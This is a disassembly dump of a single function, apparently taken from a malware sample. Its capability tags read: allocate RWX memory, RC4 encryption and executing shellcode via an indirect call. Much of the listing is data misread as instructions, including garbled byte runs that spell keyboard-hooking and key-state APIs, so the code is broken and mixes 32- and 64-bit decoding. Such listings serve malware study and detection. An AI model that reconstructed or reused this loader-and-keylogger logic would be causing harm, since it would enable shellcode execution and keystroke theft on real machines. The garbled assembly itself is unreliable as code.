Function at 0x4020d0
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 ksa
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x459df0
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x61626c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0x28]
call fcn.004115d0
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
je 0x402125
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00411760
lea ecx, [ebp - 0x28]
call fcn.004121c0
movzx ecx, al
test ecx, ecx
je 0x40346d
push 0x45a288
lea ecx, [ebp - 0x28]
call fcn.00411760
push 0x45a290
lea ecx, [ebp - 0x28]
call fcn.004117a0
push 0x45a294
lea ecx, [ebp - 0x28]
call fcn.004117a0
movzx edx, byte [0x616d3c]
test edx, edx
je 0x403453
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
push 0x45a29c
lea ecx, [ebp - 0x28]
call fcn.004117a0
push 0x45a2a0
lea ecx, [ebp - 0x28]
call fcn.004117a0
push str.iXVZhDiRRLMhuYUhohrHWh
lea ecx, [ebp - 0x40]
call fcn.00411590
mov byte [ebp - 4], 1
movzx eax, byte [0x616d3c]
test eax, eax
je 0x404795
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
in eax, 0xc8
xlatb
aad 0xab
mov eax, dword [0xa1946e3b]
cmp ebp, dword [esi - 0x6c]
mov eax, dword [0xe5946e3b]
enter 0xffffffffffffd5d7, 0xffffffffffffffab
cmpsd dword [esi], dword es:[edi]
mov dword [0xff], eax
sub eax, dword [eax]
add byte [eax], al
adc eax, 0x7000000
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
stosd dword es:[edi], eax
cmpsd dword [esi], dword es:[edi]
mov dword [0xf0ebf5ff], eax
in al, dx
loop 0x4034d4
ror dh, cl
loopne 0x4034d4
iretd
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x40]
call fcn.004123b0
mov dword [ebp - 0x84], eax
movzx ecx, byte [0x616d3c]
test ecx, ecx
je 0x404f27
int3
and al, 4
sub esp, 0xc
test ecx, ecx
ja 0x404e3c
xor ecx, ecx
add ecx, ecx
add ecx, ecx
push ecx
call fcn.00420cc5
add esp, 4
add esp, 0xc
ret 4
or eax, 0xffffffff
xor edx, edx
div ecx
cmp eax, 4
jae 0x404e29
push 0
lea ecx, [esp + 4]
call 0x3e44fc
push 0x1008dc6c
lea eax, [esp + 4]
push eax
call 0x420d2a
int3
int3
mov dword [ebp - 0x6c], 0
jmp 0x404f39
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [0x614f78]
jge 0x404f85
mov ecx, dword [ebp - 0x6c]
movsx ebx, byte [ecx + 0x614f44]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00411780
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x6c]
mov byte [ecx + 0x614f44], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x404f83
mov dword [ebp - 0x64], 0
jmp 0x404f30
movzx ecx, byte [0x616d3c]
test ecx, ecx
je 0x4059bf
inc dword [ebp + 0x33]
ror byte [ecx + 0x48282444], 0x89
insb byte es:[edi], dx
and al, 0x20
call dword [0xffff5bd3]
mov ebx, eax
inc ecx
cmp eax, ebp
je 0x404fd2
dec eax
mov ecx, dword [0xac45]
dec ecx
cmp ecx, esi
je 0x4050cb
test byte [ecx + 0x1c], 1
je 0x4050cb
mov edx, 0x30
jmp 0x404e94
dec esp
lea ecx, [0xffff6f09]
dec esp
lea eax, [0xffff9d52]
dec eax
lea ecx, [esp + 0x80]
mov edx, 0x2f
dec esp
mov dword [esp + 0x20], esp
call fcn.00403c9a
inc ecx
cmp eax, ebp
jge 0x405023
movzx ebx, ax
dec eax
mov ecx, dword [0xabf4]
dec ecx
cmp ecx, esi
je 0x4050cb
test byte [ecx + 0x1c], 1
je 0x4050cb
mov edx, 0x31
jmp 0x404e1e
dec eax
lea edx, [esp + 0x80]
dec eax
lea ecx, [esp + 0x58]
call dword [0xffff5dec]
dec eax
lea ecx, [esp + 0x68]
dec eax
mov edx, ebp
call dword [0xffff5dde]
mov edx, 0xe
inc esp
mov dword [esp + 0x30], ebp
dec esp
lea ecx, [esp + 0x68]
dec esp
lea eax, [esp + 0x58]
lea ecx, [edx - 0xd]
dec esp
mov dword [esp + 0x28], ebp
dec esp
mov dword [esp + 0x20], ebp
call fcn.0040d492
jmp 0x4050c4
dec eax
mov ecx, dword [0xab2f]
dec eax
mov eax, dword [esp + 0x50]
dec ecx
cmp eax, ebp
je 0x4050eb
dec eax
cmp eax, 0xffffffff
je 0x4050eb
dec eax
mov ecx, eax
call dword [0xffff5a9e]
dec eax
mov ecx, dword [0xab0f]
dec ecx
cmp ecx, esi
je 0x405107
test byte [ecx + 0x1c], 8
je 0x405107
dec eax
mov ecx, dword [ecx + 0x10]
mov edx, 0x32
dec ebp
mov eax, edi
call 0x3ffe9e
mov eax, ebx
dec eax
mov ecx, dword [esp + 0x2e0]
dec eax
xor ecx, esp
call fcn.0040daf2
dec eax
add esp, 0x2f8
inc ecx
pop edi
inc ecx
pop esi
inc ecx
pop ebp
inc ecx
pop esp
pop edi
pop esi
pop ebp
pop ebx
ret
call 0x401260
push 0xc
call fcn.004150d8
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x405a00
xor edx, edx
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov ecx, dword [ebp - 0x88]
call fcn.00411680
mov dword [ebp - 0x90], eax
jmp 0x405a0a
mov dword [ebp - 0x90], 0
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x80], ecx
push 0x614f44
mov ecx, dword [ebp - 0x80]
call fcn.00401280
movzx edx, byte [0x616d3c]
test edx, edx
je 0x4065db
or ch, al
fsubr dword [edx]
add byte [eax], al
dec esp
mov dword [esp + 0x58], ebp
mov eax, dword [esp + 0x60]
inc ecx
cmp eax, ebp
jbe 0x405aa0
dec esp
cmp dword [esp + 0x68], ebp
je 0x405aa0
inc ecx
mov ebp, ebp
inc ecx
cmp eax, ebp
jbe 0x405a8c
dec ecx
mov edi, ebp
dec eax
mov eax, dword [esp + 0x68]
cmp dword [edi + eax + 4], 2
jne 0x405a80
dec eax
lea esi, [edi + eax + 0x10]
dec esp
cmp dword [esi], ebp
je 0x405a80
dec ecx
cmp esi, ebp
je 0x405a80
dec eax
mov ecx, dword [esi]
dec ecx
cmp ecx, ebp
je 0x405a80
call 0x4084f5
dec esp
mov dword [esi], ebp
inc ebp
dec eax
add edi, 0x18
cmp ebp, dword [esp + 0x60]
jb 0x405a55
dec eax
mov ecx, dword [esp + 0x68]
dec ecx
cmp ecx, ebp
je 0x405aa0
call 0x4084f5
dec esp
mov dword [esp + 0x68], ebp
dec ebp
cmp esp, ebp
je 0x405abc
dec eax
lea edx, [0xffff9e94]
dec eax
lea ecx, [esp + 0x50]
inc ecx
mov eax, 0x24a
call fcn.0040611c
dec esp
lea ebx, [esp + 0x90]
mov eax, ebx
dec ecx
mov ebx, dword [ebx + 0x28]
dec ecx
mov ebp, dword [ebx + 0x30]
dec ecx
mov esi, dword [ebx + 0x38]
inc ecx
movaps xmm6, xmmword [ebx - 0x10]
dec ecx
mov esp, ebx
inc ecx
pop ebp
inc ecx
pop esp
pop edi
ret
mov ecx, dword [ebp - 0x80]
call fcn.00401370
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
call fcn.004020a0
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x400
jge 0x407236
movzx eax, byte [0x616d3c]
test eax, eax
je 0x407216
add byte [edx + 1], dh
inc edi
je 0x406672
popal
ja 0x40666c
outsb dx, byte [esi]
jo 0x40669b
je 0x40666c
jbe 0x406694
arpl word [ebp + 0x49], sp
outsb dx, byte [esi]
outsw dx, word [esi]
push edi
add byte [eax], al
inc ebp
add dword [edi + 0x65], eax
je 0x406685
jns 0x40669f
outsd dx, dword [esi]
popal
jb 0x4066a5
push esp
jns 0x4066b4
add byte gs:[eax + eax], bh
inc ebx
push 0x70557261
jo 0x4066b5
jb 0x4066a9
add byte [eax], al
or byte [ebx], al
push ebp
outsb dx, byte [esi]
push 0x576b6f6f
imul ebp, dword [esi + 0x64], 0x4873776f
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
sbb al, 0
inc ebx
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
dec esi
js 0x4066e8
js 0x4066e8
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
add byte [edi], ch
add dword [edi + 0x65], eax
je 0x4066c8
outsd dx, dword [esi]
jb 0x4066ea
jb 0x4066f7
jne 0x4066f8
push edi
imul ebp, dword [esi + 0x64], 0xd500776f
add dword [ecx + 0x73], ecx
dec ecx
dec ecx
jae 0x4066e0
arpl word [edi + 0x6e], bp
imul esp, dword [ebx], 0x4701a800
je 0x4066fb
arpl word [eax], ax
add byte [eax + 0x74654701], ch
push edi
add dword [edi + 0x65], eax
je 0x4066fb
imul ebp, dword [esi + 0x64], 0x6854776f
jb 0x406712
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x4066fe
push esp
push 0x64616572
push eax
popal
push eax
jb 0x406721
arpl word [ebp + 0x73], sp
jae 0x406729
jae 0x406700
dec ecx
add byte fs:[eax], al
xlatb
add dl, byte [ebx + 0x65]
je 0x406717
imul ebp, dword [esi + 0x64], 0x4873776f
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0x57
add byte [edx + 0x74654701], bl
push edi
imul ebp, dword [esi + 0x64], 0x6f4c776f
outsb dx, byte [esi]
push edi
add byte [eax], al
cmp eax, 0x736f5002
je 0x40673b
push 0x64616572
dec ebp
jb 0x40674f
popal
dec ebp
jae 0x406763
popal
push edi
add byte [eax], al
and byte [edx], al
add cl, byte [ebp + 0x73]
push edi
dec ebp
jae 0x406762
push edi
popal
imul esi, dword [esi + eax*2 + 0x6f], 0x6c754d72
je 0x406746
outsd dx, dword [esi]
jb 0x406750
jne 0x406771
je 0x406770
jo 0x406775
dec edi
bound ebp, qword [edx + 0x65]
arpl word [ebx + esi*2], si
pushfd
add byte [ebp + 0x66], al
push edi
imul ebp, dword [esi + 0x64], 0x7250776f
outsd dx, dword [esi]
arpl word [edi], dx
add bh, ch
push edi
add byte [eax], al
out dx, eax
add dword [edi + ebp*2 + 0x61], ecx
inc ebx
jne 0x40679f
jae 0x40679e
jb 0x406788
add cl, dh
add dword [edi + ebp*2 + 0x61], ecx
dec ecx
arpl word [edi + 0x6e], bp
outsb dx, byte [esi]
push edi
add byte [edx + 2], dl
push edx
imul esi, dword gs:[bp + di + 0x74], 0x6c437265
jb 0x40678c
insb byte es:[edi], dx
popal
jae 0x4067c0
push edi
add byte [eax], al
add byte [esi], ch
inc ebx
jb 0x4067ba
outsb dx, byte [esi]
add byte [ebx + 0x72], al
popal
popal
je 0x4067bd
push edi
imul ebp, dword [esi + 0x64], 0x7845776f
push edi
add byte [edx], bh
cmp al, byte [ecx]
inc edi
je 0x4067b1
add dword [edi + 0x65], eax
je 0x4067b1
outsb dx, byte [esi]
jo 0x4067e0
je 0x4067c0
je 0x4067d0
je 0x4067d6
add cl, al
add cl, al
add dl, byte [ebx + 0x65]
je 0x4067cc
je 0x4067cc
imul ebp, dword [ebp + 0x65], 0x37000072
add dl, byte [eax + 0x65]
imul ecx, dword gs:[ebp + 0x65], 0x73
jae 0x4067ea
popal
push edi
add byte [eax], al
add al, 3
push esp
jb 0x4067f4
outsb dx, byte [esi]
jae 0x406802
popal
je 0x4067fe
dec ebp
jae 0x406810
popal
add byte gs:[bx + si], al
add byte gs:[eax], al
scasd eax, dword es:[edi]
add byte [ecx + ebp*2 + 0x73], al
jo 0x40680a
je 0x40680e
push 0x7373654d
popal
push edi
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
add byte [ebp + 0x73], al
je 0x40682f
jae 0x406830
jb 0x40682d
outsd dx, dword [esi]
jns 0x406817
imul ebp, dword [esi + 0x64], 0x4800776f
add byte [ebx + 0x6c], al
imul esi, dword [eax + 0x43], 0x6f737275
inc ebx
jne 0x406841
jae 0x406840
outsd dx, dword [esi]
jb 0x4067d3
add ah, dh
add dl, byte [ebx + 0x79]
jae 0x40684e
push ebx
jns 0x40684c
je 0x406840
insd dword es:[edi], dx
insd dword es:[edi], dx
push eax
popal
jb 0x406841
insd dword es:[edi], dx
je 0x406849
jb 0x406859
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
push edi
add byte [esi], dl
add dword [edi + 0x65], eax
je 0x406835
insb byte es:[edi], dx
imul esp, dword [ebp + 0x6e], 0x63655274
je 0x4067fc
outsb dx, byte gs:[esi]
je 0x40684a
arpl word gs:[eax + eax + 0xd], si
add cl, byte [ebp + 0x61]
or eax, 0x70614d02
push edi
dec ebp
popal
jo 0x406859
imul ebp, dword [esi + 0x64], 0x6f50776f
imul ebp, dword [esi + 0x74], 0x1a00073
outsb dx, byte [esi]
je 0x406880
add byte [eax + 0x74654701], ah
mov al, byte [0x74654701]
inc edi
je 0x40686b
push edi
imul ebp, dword [esi + 0x64], 0x6552776f
arpl word [eax + eax + 0x25], si
outsd dx, dword [esi]
ja 0x40686c
arpl word gs:[eax + eax + 0x25], si
add dword [edi + 0x65], eax
je 0x406868
jae 0x406892
je 0x406898
jo 0x406882
imul ebp, dword [esi + 0x64], 0x776f
outsd dx, dword fs:[esi]
ja 0x406831
add byte [eax], al
add cl, al
add dword [ecx + 0x6e], ecx
rol dword [ecx], 0x49
outsb dx, byte [esi]
je 0x40689d
jb 0x4068ad
arpl word gs:[edx + edx*2 + 0x65], si
arpl word [eax + eax - 0x7c], si
add dl, byte [ebx + 0x65]
je 0x40688b
je 0x406842
add byte [edx + eax + 0x43746553], al
test byte [edx], al
push ebx
je 0x40688b
popal
jo 0x4068bf
je 0x4068c1
jne 0x4068bf
jb 0x4068b3
add byte gs:[eax], al
add byte [eax], al
loop 0x406854
push ebx
push 0x7543776f
jb 0x4068cd
outsd dx, dword [esi]
ja 0x40689a
jne 0x4068cb
jae 0x4068ca
outsd dx, dword [esi]
jb 0x40685d
add byte [edi], al
add dword [edi + 0x65], eax
je 0x4068a5
jae 0x4068df
outsb dx, byte [esi]
arpl word [ebx + 0x65], cx
jns 0x4068bf
dec ebx
jns 0x4068bf
push ebx
je 0x4068cf
je 0x4068d5
add byte [eax], al
cmp dword [ebx], eax
insd dword es:[edi], dx
outsd dx, dword [esi]
jne 0x4068eb
pop edi
jbe 0x4068e2
outsb dx, byte [esi]
je 0x406880
nop
add dl, byte [ebx + 0x65]
je 0x4068c9
push ebx
je 0x4068c9
jne 0x4068fa
jae 0x4068f9
jb 0x4068dc
push eax
outsd dx, dword [esi]
jae 0x40688f
add byte [eax + 2], ch
push edx
insb byte es:[edi], dx
popal
jae 0x4068fe
inc ebx
inc ebx
popal
jo 0x406911
jne 0x406911
add byte gs:[eax], al
pop esi
add dword [edi + 0x65], eax
je 0x4068f5
je 0x4068f5
jae 0x40691e
popal
push esp
push esp
imul ebp, dword [ebp + 0x65], 0x2820000
push ebx
outsb dx, byte gs:[esi]
add byte [edx + 0x6e655302], al
dec esi
outsd dx, dword [esi]
je 0x406927
jns 0x40690e
jns 0x40690e
jae 0x406937
popal
push edi
add byte [eax], al
add byte [eax + 0x74654701], al
add byte [ecx], 0x47
add dword [edi + 0x65], eax
je 0x406923
je 0x406923
push ebx
jns 0x406945
je 0x406939
insd dword es:[edi], dx
dec ebp
je 0x40694b
imul esp, dword [ebx + 0x73], 0x1220000
add byte [eax], al
and al, byte [ecx]
add dword [edi + 0x65], eax
inc edi
je 0x406927
je 0x406927
jne 0x406958
jae 0x406957
jb 0x40693a
outsd dx, dword [esi]
jae 0x4068ed
add byte [edx + eax], cl
dec ebp
popal
jo 0x40694a
imul esi, dword [edx + 0x74], 0x4b6c6175
jb 0x40696b
jne 0x40695a
insb byte es:[edi], dx
dec ebx
jns 0x406955
add byte [eax], al
inc byte [ecx]
dec esp
outsd dx, dword [esi]
popal
push ebx
je 0x40697b
imul ebp, dword [esi + 0x67], 0x3380057
cmp byte [ebx], al
imul esp, dword [ebp + 0x79], 0x62
jns 0x406976
pop edi
jbe 0x40697e
outsb dx, byte [esi]
je 0x40691c
out dx, al
add dl, byte [ebx + 0x75]
bound esi, qword [edx + esi*2 + 0x61]
push ebx
jne 0x406983
je 0x406995
popal
arpl word [edx + edx*2 + 0x65], si
arpl word [eax + eax], si
arpl word gs:[eax + eax], si
fadd dword [ecx]
dec ecx
jae 0x406983
arpl word gs:[ebp + eax*2 + 0x6d], si
jo 0x4069ac
je 0x4069b2
jns 0x40693a
add dl, bh
cli
add byte [esi + 0x69], al
outsb dx, byte [esi]
push edi
imul ebp, dword [esi + 0x64], 0x57776f
add byte [edx], 0x53
ja 0x40699e
add byte [eax + 0x6e655302], al
push ebx
outsb dx, byte gs:[esi]
dec ebp
jae 0x4069c5
popal
push edi
push edi
add byte [eax], al
add byte [edi + 2], ah
add dl, byte [bp + si + 0x65]
imul esi, dword [bp + di + 0x74], 0x69577265
push edx
imul esi, dword gs:[bp + di + 0x74], 0x69577265
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x4069b6
jae 0x4069df
jae 0x4069ce
popal
push edi
add byte [eax], al
cmp al, byte [edx]
push eax
outsd dx, dword [esi]
jae 0x4069ec
dec ebp
jae 0x4069ef
jae 0x4069de
popal
push edi
push edi
add byte [eax], al
retf
add dl, byte [ebx + 0x65]
je 0x4069df
imul ebp, dword [esi + 0x64], 0x6f4c776f
outsb dx, byte [esi]
push eax
je 0x406a06
push edi
add byte [ecx + 0x74654701], bl
push edi
imul ebp, dword [esi + 0x64], 0x6f4c776f
outsd dx, dword fs:[esi]
ja 0x4069ee
outsd dx, dword [esi]
outsb dx, byte [esi]
push eax
je 0x406a1a
push edi
add byte [ebp + 1], ch
inc edi
je 0x406a00
jb 0x406a21
jo 0x406a0b
add byte [eax], al
insd dword es:[edi], dx
add dl, byte [edx + 0x65]
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x406a23
push eax
jb 0x406a30
jo 0x406a1a
add byte [ebx + 0x74655302], dh
push eax
add dl, byte [ebx + 0x65]
je 0x406a1a
jb 0x406a3b
jo 0x406a25
add byte [eax], al
push ds
add byte [ebx + 0x61], al
insb byte es:[edi], dx
insb byte es:[edi], dx
push edi
imul ebp, dword [esi + 0x64], 0x7250776f
outsd dx, dword [esi]
arpl word [edi], dx
fild word [ecx]
dec ecx
jae 0x406a3e
imul ebp, dword [esi + 0x64], 0x776f
add byte [eax], al
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
outsd dx, dword [esi]
add byte [ebp + 0x6d], ch
imul ebp, dword [edi + 0x41], 0x6e656373
inc ecx
jae 0x406a66
outsb dx, byte gs:[esi]
add byte fs:[eax], al
add byte [eax], al
jb 0x406a0a
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [edi + 0x44], 0x65637365
outsb dx, byte [esi]
add byte fs:[ecx], dh
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [edi + 0x43], 0x74616572
inc ebx
push 0x6b6e75
outsb dx, byte [esi]
imul eax, dword [eax], 0x79
jns 0x406a2a
insd dword es:[edi], dx
insd dword es:[edi], dx
popal
add byte fs:[eax], al
add byte [eax], 0x6d
insd dword es:[edi], dx
imul ebp, dword [edi + 0x57], 0x65746972
add byte gs:[eax], dh
insd dword es:[edi], dx
jae 0x406ace
je 0x406a6b